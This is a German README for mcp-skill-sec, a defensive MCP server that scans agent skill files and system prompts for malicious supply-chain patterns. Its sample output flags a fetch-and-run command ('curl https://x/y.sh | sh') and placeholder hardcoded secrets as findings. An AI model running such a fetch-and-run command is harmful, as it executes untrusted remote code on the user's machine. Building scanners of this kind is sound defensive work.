mcp-skill-sec

Ein Model-Context-Protocol-Server (MCP-Server), der jede Art von Agent-Skill, Systemprompt oder heruntergeladener Dateisammlung gegen die 8 Muster bösartiger Skill-Lieferketten prüft.

Deterministisch, ohne LLM, ohne Netzwerkaufrufe — ein selbst hostbarer Vorinstallations-Scanner, der mit Claude Code, Cursor, Copilot, OpenClaw, Codex CLI und jedem MCP-kompatiblen Agenten funktioniert.

Wonach es scannt (Regeln R1–R8)

Jeder Befund enthält eine severity-Einstufung (critical/high/medium/low), eine Zeilennummer und die zugehörige Beweiszeile. Das Gesamturteil ist nur dann PASS, wenn es keine critical/high-Befunde gibt und jeder medium-Befund harmlos ist.

Related MCP server: Heron

Werkzeuge

• audit_text(text, filename) — prüft einen String (einen Skill, der dir eingefügt wurde, einen Systemprompt, den du nicht geschrieben hast).

• audit_skill_file(path) — prüft eine SKILL.md / AGENTS.md / CLAUDE.md auf der Festplatte; liefert Beweiszeilen mit Zeilennummern.

• audit_directory(path, pattern) — prüft eine gesamte heruntergeladene Skills-Sammlung; liefert Urteile pro Datei + eine Zusammenfassung.

• rule_list() — gibt den Regelkatalog aus.

Installation & Ausführung

pip install mcp
mcp install mcp_server.py  --name skill-sec          # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py

Claude Desktop / Agent-Konfiguration

{
  "mcpServers": {
    "skill-sec": {
      "command": "python3",
      "args": ["/absolute/path/to/mcp_server.py"]
    }
  }
}

Beispiel

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

Lizenz & Herkunft

MIT. Geschrieben von sudo-ai-git. Dies ist ein eigenständiges Sicherheits-/Verifizierungswerkzeug; es enthält keine proprietäre Methode. Es ist die MCP-Umsetzung des skill-sec-Agent-Skills (gleiche Regeln, als Server statt als Skill aufrufbar).

Offizielle MCP-Registry-Metadaten

mcp-name: io.github.sudo-ai-git/mcp-skill-sec